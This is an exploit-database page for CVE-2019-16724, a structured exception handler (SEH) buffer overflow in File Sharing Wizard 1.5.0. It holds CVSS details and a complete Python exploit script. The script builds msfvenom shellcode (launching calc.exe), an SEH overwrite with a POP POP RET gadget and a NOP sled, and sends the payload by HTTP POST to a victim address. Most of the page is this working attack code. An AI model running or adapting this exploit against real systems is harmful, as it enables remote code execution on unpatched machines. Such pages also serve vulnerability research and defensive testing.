Exploitalert - Database of Exploits

File Sharing Wizard 1.5.0 SEH Buffer Overflow

CVE	Category	Price	Severity
CVE-2019-16724	CWE-119	N/A	High

Author	Risk	Exploitation Type	Date
N/A	High	Remote	2019-09-25

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019090154

File Sharing Wizard 1.5.0 SEH Buffer Overflow

import socket from struct import * # Exploit Title: File sharing wizard 'post' remote SEH overflow # Date: 9/23/2019 # Exploit Author: x00pwn # Software Link: https://file-sharing-wizard.soft112.com/ # Version: 1.5.0 # Tested on: Windows 7 # CVE : CVE-2019-16724 # File-sharing-wizard-seh #----------------------------------------------# # Bad characters: \x00 # # SEH value: 0x909032EB (JMP short) # # NSEH value: 0x7c38a67f (POP POP RET) # #----------------------------------------------# # Assigned CVE ID : CVE-2019-16724 victim_host = "10.0.0.17" victim_port = 80 # msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode EXITFUNC=seh shellcode = "" shellcode += "\xd9\xc7\xd9\x74\x24\xf4\xba\x65\x1d\x84\xe1\x5f" shellcode += "\x29\xc9\xb1\x31\x31\x57\x18\x03\x57\x18\x83\xef" shellcode += "\x99\xff\x71\x1d\x89\x82\x7a\xde\x49\xe3\xf3\x3b" shellcode += "\x78\x23\x67\x4f\x2a\x93\xe3\x1d\xc6\x58\xa1\xb5" shellcode += "\x5d\x2c\x6e\xb9\xd6\x9b\x48\xf4\xe7\xb0\xa9\x97" shellcode += "\x6b\xcb\xfd\x77\x52\x04\xf0\x76\x93\x79\xf9\x2b" shellcode += "\x4c\xf5\xac\xdb\xf9\x43\x6d\x57\xb1\x42\xf5\x84" shellcode += "\x01\x64\xd4\x1a\x1a\x3f\xf6\x9d\xcf\x4b\xbf\x85" shellcode += "\x0c\x71\x09\x3d\xe6\x0d\x88\x97\x37\xed\x27\xd6" shellcode += "\xf8\x1c\x39\x1e\x3e\xff\x4c\x56\x3d\x82\x56\xad" shellcode += "\x3c\x58\xd2\x36\xe6\x2b\x44\x93\x17\xff\x13\x50" shellcode += "\x1b\xb4\x50\x3e\x3f\x4b\xb4\x34\x3b\xc0\x3b\x9b" shellcode += "\xca\x92\x1f\x3f\x97\x41\x01\x66\x7d\x27\x3e\x78" shellcode += "\xde\x98\x9a\xf2\xf2\xcd\x96\x58\x98\x10\x24\xe7" shellcode += "\xee\x13\x36\xe8\x5e\x7c\x07\x63\x31\xfb\x98\xa6" shellcode += "\x76\xfd\x69\x7b\x62\x6a\xd0\xee\xcf\xf6\xe3\xc4" shellcode += "\x13\x0f\x60\xed\xeb\xf4\x78\x84\xee\xb1\x3e\x74" shellcode += "\x82\xaa\xaa\x7a\x31\xca\xfe\x18\xd4\x58\x62\xf1" shellcode += "\x73\xd9\x01\x0d" nseh = pack ('<I',0x909032EB) # Short jump forward 32 places into NOP sled seh = pack('I',0x7c38a67f) # POP POP RET # 0x7c38a67f : pop ecx # pop ecx # ret | {PAGE_EXECUTE_READ} [MSVCR71.dll] # ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.6030.0 (C:\Program Files (x86)\File Sharing Wizard\bin\MSVCR71.dll) exploit_payload = "A" * 1040 exploit_payload += nseh # JMP short exploit_payload += seh # POPPOPRET exploit_payload += "\x90" * 100 # NOPSLED exploit_payload += shellcode # popping calc.exe exploit_payload += "D" *(5000 - len(exploit_payload)) payload_header = "POST " + exploit_payload payload_header +=" HTTP/1.0\r\n\r\n" # overflowed SEH handler - 42386942 : [*] Exact match at offset 1044 try: print(""" -------------------------------- CVE-2019-16724 proof of concept File sharing wizard SEH overflow -------------------------------- """) expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print("[x] Setting up a socket connection") expl.connect((victim_host, victim_port)) print("[x] Establishing a connection to the victim") expl.send(payload_header) print("[x] Sending ") except: print("[!] Error establishing a connection") print("[!] Error sending exploit")

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